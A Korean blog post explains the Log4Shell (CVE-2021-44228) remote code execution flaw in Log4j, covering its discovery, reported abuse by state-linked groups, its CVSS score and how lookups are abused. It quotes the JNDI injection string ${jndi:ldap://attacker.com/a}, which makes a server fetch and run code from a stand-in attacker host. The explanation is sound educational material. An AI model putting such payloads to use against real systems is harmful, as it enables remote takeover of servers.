woonadz :)

[개념정리] Log4j(Log4shell) 본문

IT/기사분석

[개념정리] Log4j(Log4shell)

C_scorch 2022. 2. 12. 20:53
반응형

Log4j 제로데이 RCE 취약점

제로데이 취약점이란?

시스템의 결함으로 오직 해커만 알고 있는 경우를 뜻함. 

 

제로데이인 이유?

취약점이 발견되었을 경우 해당 시스템 관리자는 이를 고칠 시간이 0-day 이기 때문.

RCE란?

Remote Code Execution의 약자로 원격 코드 실행을 뜻함.

즉, RCE 취약점일 경우 해커가 해당 서버에서 자신의 의지대로 코드 실행이 가능함.

Log4j 취약점의 발견

알리바바 클라우드 보안팀에서 2021년 12월 9일에 취약점을 발견.

하지만 이전부터 Log4j 취약점은 해킹에 사용되고 있었음.

 

Log4j 관련 해킹 공격 사례

"마이크로소프트 연구원에 따르면 중국, 이란, 북한 및 터키에 관련된 행위자들이 현재 해당 취약점을 남용하고 있어서 전 세계 기반 시설은 계속 공격을 받는 중이다. 취약점을 악용하는 그룹 중 중국과 연결된 하프늄(Hafnium)은 가상화 인프라 공격에, 이란과 연결된 포스포러스(Phosphorus)는 랜섬웨어를 배포하는 데 사용하고 있다.

마이크로소프트 전문가들은 다수의 액세스 브로커가 Log4Shell 취약점을 사용하여 대상 네트워크에 대한 초기 액세스 권한을 얻은 다음 서비스로서의 랜섬웨어(ransomware-as-a-service) 계열사에 판매하기 시작했다고 밝혔다."

출처 : CCTV뉴스(http://www.cctvnews.co.kr)

 

CVSS(Common Vulnerability Scoring System)

컴퓨터 시스템 보안의 심각도 및 위험을 평가하는 데 사용되며 기본 점수 심각도 범위는 0 - 10이다.

https://nvd.nist.gov/vuln/detail/CVE-2021-44228

CVSS 등급은 10으로 가장 높은 단계이다. (그만큼 심각하고 위험하다)

 

Log4j란?

로그 기록의 프레임워크로 자바 프로그램의 실행 과적을 기록하는 목적으로 쓰임.

로깅이란 서버·프로그램 등의 유지 관리를 목적으로 동작 상태를 기록으로 남기는 일이다.

 

Log4j가 취약점이 된 이유

유저가 사용하는 데이터들은 백엔드에서 실행되지 않음.

유저가 사용하는 데이터들을 '신뢰할 수 없는 사용자'로 인식.

 

↓유저가 사용하는 데이터를 코드로 인식한다면?

 

Log4j lookups 기능(임의의 위치에서 Log4j 구성에 값을 추가하는 방법)에서 위와 같은 문제점이 생김.

lookups 기능에는 어느정도 사용자를 신뢰하는 문제가 있음. (${jndi:...})

 

Log4j 공격 원리

1. 공격자가 서버로 보내는 요청에 ${jndi:ldap://attacker.com/a} (attacker.com은 공격자가 제어하는 서버) 와 같은 데이터가 포함되어 있다.

2. Log4j 는 위 데이터를 로그에 넣는 동시에 데이터 속 URL을 불러온다.

3. 만약 이 URL이 공격자의 서버라면 공격자의 서버 속에 있는 코드까지 함께 실행되게 된다.

 

https://junhyunny.github.io/information/security/log4j-vulnerability-CVE-2021-44228/

 

https://youtu.be/JPGola6BamU

 

왜 ${jndi:ldap://attacker.com/a} 와 같은 문법은 사용하는지?

Log4j에는 ${prefix:name} 형식으로 JAVA 버전을 볼 수 있게 하는 문법이 존재한다. 이러한 문법이 로그를 기록할 때도 사용 가능했고 공격자가 로그에 기록되는 부분을 찾아 ${jndi:ldap://attacker.com/a}와 같은 간단한 값을 추가하면 쉽게 취약점을 이용할 수 있음.

 

 

반응형